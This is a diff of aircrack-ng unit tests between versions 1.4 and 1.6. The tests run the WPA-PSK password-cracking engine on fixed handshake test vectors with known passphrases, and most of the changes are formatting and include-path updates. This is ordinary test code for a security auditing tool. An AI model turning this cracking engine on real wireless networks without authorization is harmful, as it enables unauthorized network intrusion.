-void *keep_libgcrypt_ = &gcry_md_open;
+void * keep_libgcrypt_ = &gcry_md_open;
 #else
-void *keep_libcrypto_ = &HMAC;
+void * keep_libcrypto_ = &HMAC;
 #endif
 
-void perform_unit_testing(void **state)
+void perform_unit_testing(void ** state)
 {
+	(void) state;
+
 	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
 	uint8_t mic[8][20];
-	uint8_t expected_mic[20] =
-		"\x2e\x13\xc4\x0c\xa1\xc2\xe4\xe2\x03\x7f\x99\xa2\xda\x18\xa4\x6b";
+	uint8_t expected_mic[20]
+		= "\x2e\x13\xc4\x0c\xa1\xc2\xe4\xe2\x03\x7f\x99\xa2\xda\x18\xa4\x6b";
 	uint8_t stmac[6] = "\x2c\xf0\xa2\xdd\xbc\xd0";
-	uint8_t snonce[32] =
-		"\x64\x67\x23\x3e\x73\x07\x67\xc3\x3e\x1d\xf8\x75\xc3\xad\x0e\xb5"
-		"\x8a\x51\xad\x70\x4a\x3f\xae\x06\xb8\x18\xc0\xc5\xfc\xeb\xf3\xaf";
-	uint8_t anonce[32] =
-		"\x02\x18\xc7\xb6\x4e\xce\xf4\x0c\x4f\x15\x91\x5f\xbc\xeb\x19\xc8"
-		"\xd6\x26\x08\x38\x7e\xb6\xb9\x86\xd9\x59\x9a\x8b\xd7\x0d\xc8\x5d";
-	uint8_t eapol[256] =
-		"\x02\x03\x00\x75\x02\x01\x0B\x00\x10\x00\x00\x00\x00\x00\x00\x00"
-		"\x03\x64\x67\x23\x3E\x73\x07\x67\xC3\x3E\x1D\xF8\x75\xC3\xAD\x0E"
-		"\xB5\x8A\x51\xAD\x70\x4A\x3F\xAE\x06\xB8\x18\xC0\xC5\xFC\xEB\xF3"
-		"\xAF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x16\x30\x14\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC"
-		"\x04\x01\x00\x00\x0F\xAC\x06\x8C\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+	uint8_t snonce[32]
+		= "\x64\x67\x23\x3e\x73\x07\x67\xc3\x3e\x1d\xf8\x75\xc3\xad\x0e\xb5"
+		  "\x8a\x51\xad\x70\x4a\x3f\xae\x06\xb8\x18\xc0\xc5\xfc\xeb\xf3\xaf";
+	uint8_t anonce[32]
+		= "\x02\x18\xc7\xb6\x4e\xce\xf4\x0c\x4f\x15\x91\x5f\xbc\xeb\x19\xc8"
+		  "\xd6\x26\x08\x38\x7e\xb6\xb9\x86\xd9\x59\x9a\x8b\xd7\x0d\xc8\x5d";
+	uint8_t eapol[256]
+		= "\x02\x03\x00\x75\x02\x01\x0B\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		  "\x03\x64\x67\x23\x3E\x73\x07\x67\xC3\x3E\x1D\xF8\x75\xC3\xAD\x0E"
+		  "\xB5\x8A\x51\xAD\x70\x4A\x3F\xAE\x06\xB8\x18\xC0\xC5\xFC\xEB\xF3"
+		  "\xAF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x16\x30\x14\x01\x00\x00\x0F\xAC\x04\x01\x00\x00\x0F\xAC"
+		  "\x04\x01\x00\x00\x0F\xAC\x06\x8C\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
 	uint32_t eapol_size = 121;
 	ac_crypto_engine_t engine;
 	uint8_t bssid[6] = "\xb0\xb9\x8a\x56\x8d\xea";
@@ -147,19 +146,19 @@
 
 		memset(key, 0, sizeof(key));
 
-		strcpy((char*) (key[i].v), "bo$$password");
+		strcpy((char *) (key[i].v), "bo$$password");
 		key[i].length = 12;
 
 		if ((rc = dso_ac_crypto_engine_wpa_crack(&engine,
-		                                         key,
-		                                         eapol,
-		                                         eapol_size,
-		                                         mic,
-		                                         3,
-		                                         expected_mic,
-		                                         nparallel,
-		                                         1))
-		    >= 0)
+												 key,
+												 eapol,
+												 eapol_size,
+												 mic,
+												 3,
+												 expected_mic,
+												 nparallel,
+												 1))
+			>= 0)
 		{
 			// does the returned SIMD lane equal where we placed the key?
 			assert_int_equal(rc, i);
@@ -186,7 +185,7 @@
 	dso_ac_crypto_engine_destroy(&engine);
 }
 
-void perform_unit_testing_for(void **state, int simd_flag)
+void perform_unit_testing_for(void ** state, int simd_flag)
 {
 	int simd_features = (int) ((uintptr_t) *state);
 
@@ -210,75 +209,78 @@
 #endif
 }
 
-void test_crypto_engine_x86_avx512f(void **state)
+void test_crypto_engine_x86_avx512f(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX512F);
 }
 
-void test_crypto_engine_x86_avx2(void **state)
+void test_crypto_engine_x86_avx2(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX2);
 }
 
-void test_crypto_engine_x86_avx(void **state)
+void test_crypto_engine_x86_avx(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX);
 }
 
-void test_crypto_engine_x86_sse2(void **state)
+void test_crypto_engine_x86_sse2(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_SSE2);
 }
 
-void test_crypto_engine_arm_neon(void **state)
+void test_crypto_engine_arm_neon(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_NEON);
 }
 
-void test_crypto_engine_ppc_altivec(void **state)
+void test_crypto_engine_ppc_altivec(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_ALTIVEC);
 }
 
-void test_crypto_engine_ppc_power8(void **state)
+void test_crypto_engine_ppc_power8(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_POWER8);
 }
 
-void test_crypto_engine_generic(void **state)
+void test_crypto_engine_generic(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_NONE);
 }
 
-int group_setup(void **state)
+int group_setup(void ** state)
 {
-	*state = (void*) ((uintptr_t) simd_get_supported_features());
+	*state = (void *) ((uintptr_t) simd_get_supported_features());
 
 	return 0;
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
+	(void) argc;
+	(void) argv;
+
 #if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
 
-const struct CMUnitTest tests[] = {
-		cmocka_unit_test(test_crypto_engine_generic),
+	const struct CMUnitTest tests[]
+		= { cmocka_unit_test(test_crypto_engine_generic),
 #if defined(__x86_64__) || defined(__i386__) || defined(_M_IX86)
 #if defined(__AVX512F__)
-		cmocka_unit_test(test_crypto_engine_x86_avx512f),
+			cmocka_unit_test(test_crypto_engine_x86_avx512f),
 #endif
-		cmocka_unit_test(test_crypto_engine_x86_avx2),
-		cmocka_unit_test(test_crypto_engine_x86_avx),
-		cmocka_unit_test(test_crypto_engine_x86_sse2),
+			cmocka_unit_test(test_crypto_engine_x86_avx2),
+			cmocka_unit_test(test_crypto_engine_x86_avx),
+			cmocka_unit_test(test_crypto_engine_x86_sse2),
 #elif defined(__arm) || defined(__aarch64) || defined(__aarch64__)
-		cmocka_unit_test(test_crypto_engine_arm_neon),
+			cmocka_unit_test(test_crypto_engine_arm_neon),
 #elif defined(__PPC__) || defined(__PPC64__)
-		cmocka_unit_test(test_crypto_engine_ppc_altivec),
-		cmocka_unit_test(test_crypto_engine_ppc_power8),
+			cmocka_unit_test(test_crypto_engine_ppc_altivec),
+			cmocka_unit_test(test_crypto_engine_ppc_power8),
 #else
 #warning "SIMD not available."
 #endif
-	};
+		  };
 	return cmocka_run_group_tests(tests, group_setup, NULL);
 
 #else

aircrack-ng-1.4.tar.gz/test/unit/test-wpapsk.c -> aircrack-ng-1.6.tar.gz/test/unit/test-wpapsk.c Changed

@@ -1,3 +1,7 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdarg.h>
 #include <stddef.h>
 #include <setjmp.h>
@@ -8,18 +12,11 @@
 #include <stdlib.h>
 #include <sys/types.h>
 
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#include "sha1-git.h"
-#else
-#include <openssl/hmac.h>
-#include <openssl/sha.h>
-#endif
-
-#include "aircrack-util/common.h"
-#include "aircrack-util/trampoline.h"
-#include "aircrack-crypto/crypto_engine.h"
-#include "aircrack-util/crypto_engine_loader.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/cpu/trampoline.h"
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
+#include "aircrack-ng/support/crypto_engine_loader.h"
 
 /*
  * We must force linking to one of the support crypto libraries; however,
@@ -34,41 +31,43 @@
  * So, we force a bit of hacks to ensure we do link against it.
  */
 #ifdef USE_GCRYPT
-void *keep_libgcrypt_ = &gcry_md_open;
+void * keep_libgcrypt_ = &gcry_md_open;
 #else
-void *keep_libcrypto_ = &HMAC;
+void * keep_libcrypto_ = &HMAC;
 #endif
 
-void perform_unit_testing(void **state)
+void perform_unit_testing(void ** state)
 {
+	(void) state;
+
 	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
 	uint8_t mic[8][20];
-	uint8_t expected_mic[20] =
-		"\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6";
+	uint8_t expected_mic[20]
+		= "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6";
 	uint8_t stmac[6] = "\x00\x13\x46\xfe\x32\x0c";
-	uint8_t snonce[32] =
-		"\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
-		"\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
-	uint8_t anonce[32] =
-		"\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
-		"\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
-	uint8_t eapol[256] =
-		"\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
-		"\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
-		"\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
-		"\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
-		"\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+	uint8_t snonce[32]
+		= "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
+		  "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
+	uint8_t anonce[32]
+		= "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
+		  "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
+	uint8_t eapol[256]
+		= "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		  "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
+		  "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
+		  "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
+		  "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
 	uint32_t eapol_size = 121;
 	ac_crypto_engine_t engine;
 	uint8_t bssid[6] = "\x00\x14\x6c\x7e\x40\x80";
@@ -87,19 +86,19 @@
 
 		memset(key, 0, sizeof(key));
 
-		strcpy((char*) (key[i].v), "12345678");
+		strcpy((char *) (key[i].v), "12345678");
 		key[i].length = 8;
 
 		if ((rc = dso_ac_crypto_engine_wpa_crack(&engine,
-		                                         key,
-		                                         eapol,
-		                                         eapol_size,
-		                                         mic,
-		                                         2,
-		                                         expected_mic,
-		                                         nparallel,
-		                                         1))
-		    >= 0)
+												 key,
+												 eapol,
+												 eapol_size,
+												 mic,
+												 2,
+												 expected_mic,
+												 nparallel,
+												 1))
+			>= 0)
 		{
 			// does the returned SIMD lane equal where we placed the key?
 			assert_int_equal(rc, i);
@@ -114,7 +113,7 @@
 	dso_ac_crypto_engine_destroy(&engine);
 }
 
-void perform_unit_testing_for(void **state, int simd_flag)
+void perform_unit_testing_for(void ** state, int simd_flag)
 {
 	int simd_features = (int) ((uintptr_t) *state);
 
@@ -138,72 +137,75 @@
 #endif
 }
 
-void test_crypto_engine_x86_avx512f(void **state)
+void test_crypto_engine_x86_avx512f(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX512F);
 }
 
-void test_crypto_engine_x86_avx2(void **state)
+void test_crypto_engine_x86_avx2(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX2);
 }
 
-void test_crypto_engine_x86_avx(void **state)
+void test_crypto_engine_x86_avx(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_AVX);
 }
 
-void test_crypto_engine_x86_sse2(void **state)
+void test_crypto_engine_x86_sse2(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_SSE2);
 }
 
-void test_crypto_engine_arm_neon(void **state)
+void test_crypto_engine_arm_neon(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_NEON);
 }
 
-void test_crypto_engine_ppc_altivec(void **state)
+void test_crypto_engine_ppc_altivec(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_ALTIVEC);
 }
 
-void test_crypto_engine_ppc_power8(void **state)
+void test_crypto_engine_ppc_power8(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_POWER8);
 }
 
-void test_crypto_engine_generic(void **state)
+void test_crypto_engine_generic(void ** state)
 {
 	perform_unit_testing_for(state, SIMD_SUPPORTS_NONE);
 }
 
-int group_setup(void **state)
+int group_setup(void ** state)
 {
-	*state = (void*) ((uintptr_t) simd_get_supported_features());
+	*state = (void *) ((uintptr_t) simd_get_supported_features());
 
 	return 0;
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(test_crypto_engine_generic),
+	(void) argc;
+	(void) argv;
+
+	const struct CMUnitTest tests[]
+		= { cmocka_unit_test(test_crypto_engine_generic),
 #if defined(__x86_64__) || defined(__i386__) || defined(_M_IX86)
 #if defined(__AVX512F__)
-		cmocka_unit_test(test_crypto_engine_x86_avx512f),
+			cmocka_unit_test(test_crypto_engine_x86_avx512f),
 #endif
-		cmocka_unit_test(test_crypto_engine_x86_avx2),
-		cmocka_unit_test(test_crypto_engine_x86_avx),
-		cmocka_unit_test(test_crypto_engine_x86_sse2),
+			cmocka_unit_test(test_crypto_engine_x86_avx2),
+			cmocka_unit_test(test_crypto_engine_x86_avx),
+			cmocka_unit_test(test_crypto_engine_x86_sse2),
 #elif defined(__arm) || defined(__aarch64) || defined(__aarch64__)
-		cmocka_unit_test(test_crypto_engine_arm_neon),
+			cmocka_unit_test(test_crypto_engine_arm_neon),
 #elif defined(__PPC__) || defined(__PPC64__)
-		cmocka_unit_test(test_crypto_engine_ppc_altivec),
-		cmocka_unit_test(test_crypto_engine_ppc_power8),
+			cmocka_unit_test(test_crypto_engine_ppc_altivec),
+			cmocka_unit_test(test_crypto_engine_ppc_power8),
 #else
 #warning "SIMD not available."
 #endif
-	};
+		  };
 	return cmocka_run_group_tests(tests, group_setup, NULL);
 }

aircrack-ng-1.4.tar.gz/test/verify_inject.py -> aircrack-ng-1.6.tar.gz/test/verify_inject.py Changed

aircrack-ng-1.6.tar.gz/test/wep_64_ptw_01.cap Added

aircrack-ng-1.6.tar.gz/test/wep_64_ptw_02.cap Added

aircrack-ng-1.6.tar.gz/test/wep_64_ptw_03.cap Added

aircrack-ng-1.6.tar.gz/test/wep_64_ptw_04.cap Added

aircrack-ng-1.6.tar.gz/test/wpa3-psk.pcap Added

aircrack-ng-1.6.tar.gz/test/zn2i.pcap Added